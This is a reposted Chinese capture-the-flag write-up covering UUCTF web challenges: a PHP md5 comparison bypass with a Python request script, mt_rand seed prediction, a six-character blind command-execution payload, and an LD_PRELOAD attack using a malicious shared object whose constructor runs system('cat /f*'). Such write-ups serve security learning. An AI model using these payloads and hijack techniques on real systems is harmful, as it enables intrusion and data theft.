UUCTF部分web题解
前言
这次比赛结束有一段时间了,在此总结一些当时没有做出来的web题解。也当是收集到一些学习经验。
funmd5(php代码审计)
打开题目,是一段php代码:
-
-
error_reporting(0);
-
include "flag.php";
-
$time=time();
-
$guessmd5=md5($time);
-
$md5=$_GET["md5"];
-
if(isset($md5)){
-
$sub=substr($time,-1);
-
$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
-
if(preg_match('/0e/',$md5[0])){
-
$md5[0]=substr($md5[0],$sub);
-
if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
-
echo "well!you win again!now flag is yours.<br>";
-
echo $flag;
-
}
-
else{
-
echo $md5[0];
-
echo "oh!no!maybe you need learn more PHP!";
-
}
-
}
-
else{
-
echo "this is your md5:$md5[0]<br>";
-
echo "maybe you need more think think!";
-
}
-
}
-
else{
-
highlight_file(__FILE__);
-
$sub=strlen($md5[0]);
-
echo substr($guessmd5,0,5)."<br>";
-
echo "plase give me the md5!";
-
}
-
当时困扰我的是数组的传参问题,现在也算是明白了。get传值,代码很容易读懂,看第一层限制:
$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
不想0e被替换,那么用 换行绕过就行了,那么看第二层限制:
-
$time=time();
-
$guessmd5=md5($time);
-
$sub=substr($time,-1);
-
$md5[0]=substr($md5[0],$sub);
-
if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
time函数返回时间戳,找一个字符串的md5值等于它本身,来满足第一个弱比较,但是在此之前会对md5[0]有一个截取操作,从哪截取与时间戳的最后一个数字有关,先不用管,看第二个满足条件,需要去强等时间戳的md5值,那么我们可以卡个满足条件的时间手动发包,但是比较考验手速,用python发包更加的稳。
-
import requests
-
import hashlib
-
import time
-
-
for i in range(10000):
-
times = str(int(time.time()))
-
md5 = hashlib.md5(times.encode())
-
md5value = md5.hexdigest()
-
url = "http://43.143.7.97:28023/index.php?md5[]= 0e215962017&md5[1]={}".format(md5value)
-
res = requests.get(url=url)
-
if "NSS" in res.text:
-
print(res.text)
-
break
也是很快得出flag了。
phonecode(随机数预测)
知道考预测随机数,但是不知道怎么解题。题目中给的hint是由我们提交的phone控制的,就用它给的hint来爆破随机数种子,并且在code那里填写下一个随机数就可以得到flag。但是我试了很多次,预测出的随机数都得不出flag,看了别的师傅写的wp,在phone提交12345678909后返回的随机数来预测下一个随机数才能得到flag。 why?
题目中的php版本为7.2,所以用最后一个随机数种子预测出随机数,
-
-
mt_srand(3755744317);
-
for($i=0;$i<10;$i ){
-
echo mt_rand()."\n";
-
}
-
最后提交预测的随机数就得出flag了。
ezrce(六字符无回显rce)
打开题目是一个命令执行接口,
限制了输入的字符最多为六个并且无回显,常规思路就是将命令执行结果写入文件,这一题比较坑的就是你命令执行成功了给你回显命令执行失败。并且写入的文件在tmp目录下。我们输入命令
ls />a
访问tmp目录下的a文件
尝试构造命令nl /*>a,这是七个字符。还有个更巧妙的方法,创建一个名为nl的文件,再用*将文件名当作命令执行。payload为
-
>nl
-
* /*>a
访问/tmp/a,成功得到flag。
uploadandinject(恶意so文件加载)
打开题目先信息收集,题目提示访问hint.php,
提示我们有index.php的swp文件泄露,在url访问.index.php.swp,(做题时前面没加点,一直访问错误)访问url下载好文件打开是有乱码的,所以我们得用vim来打开它,使用命令:
vim -r index.php.swp
重点代码:
putenv("LD_PRELOAD=/var/www/html/$img_path");
它会将LD_PRELOAD环境变量指向我们可控的文件路径,一看见这个LD_PRELOAD环境变量,肯定就会想到让它来加载恶意so文件劫持函数执行命令。那么我们能够找到一个上传点去上传我们构造的恶意so代码,dirsearch扫一下目录,发现上传点upload/upload.php,
白名单限制,直接上传木马是不现实的,我们上传恶意so文件更改后缀名为jpg,对后续的加载是无影响的,但目前来说,还有一个点。一般情况来说,我们还需要再上传一个php文件,来让它调用mail这样的函数来开启一个新的进程,应为启动一个新的进程的时候,会去加载LD_PRELOAD指向的恶意so文件。很显然,上传点是上传不了php文件的,看了别的师傅写的wp,源代码中的
echo "<br><img src=$img_path>"
这一句代码可以触发加载so文件(具体原因不明),那么说到这里,所有条件就满足,这里直接编写网上最流行通杀恶意c代码,
-
-
-
-
-
-
__attribute__ ((__constructor__)) void payload (void){
-
unsetenv("LD_PRELOAD");
-
system("cat /f*");
-
}
使用命令将c文件加载为so文件:
gcc -shared -fPIC hacker.c -o hacker.so
接下来就上传so文件然后加载它就能执行system命令进而得出flag。
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhgffgbf
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
怎样阻止微信小程序自动打开
PHP中文网 06-13 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01